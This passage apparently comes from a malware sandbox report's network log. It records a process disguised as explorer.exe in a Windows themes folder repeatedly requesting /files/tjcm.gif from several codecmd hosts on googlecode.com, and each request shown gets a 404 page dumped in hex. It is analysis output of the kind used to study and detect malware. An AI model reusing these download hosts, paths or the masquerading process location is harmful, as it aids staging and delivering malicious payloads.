67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:00.932960033 CEST	2673	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49791	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:24.371624947 CEST	1525	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:24.399090052 CEST	1527	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:24 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:24.399126053 CEST	1527	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49872	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:03.656693935 CEST	2674	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:03.683681965 CEST	2675	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:03 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:03.683696032 CEST	2676	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49873	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:05.836945057 CEST	2677	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:05.863981009 CEST	2678	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:05 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:58:05.864008904 CEST	2678	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49874	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:58:07.158910990 CEST	2679	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:58:07.186203957 CEST	2681	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:58:07 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 